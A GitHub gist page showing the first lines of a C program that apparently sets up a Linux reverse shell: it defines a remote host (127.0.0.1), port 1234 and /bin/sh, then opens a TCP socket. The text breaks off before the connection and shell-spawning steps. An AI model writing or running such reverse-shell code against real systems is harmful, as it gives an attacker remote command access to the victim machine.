Skip to content

Instantly share code, notes, and snippets.

View CerebralMischief's full-sized avatar

Cerebral Mischief CerebralMischief

View GitHub Profile
// gcc -g -o L1 lin_1.c
#include <arpa/inet.h>
#include <stdio.h>
#include <unistd.h>
#define RP 1234
#define RH "127.0.0.1"
#define BIN "/bin/sh"
int main(){
int is = 0;is = socket(AF_INET,SOCK_STREAM,0);
struct sockaddr_in s1;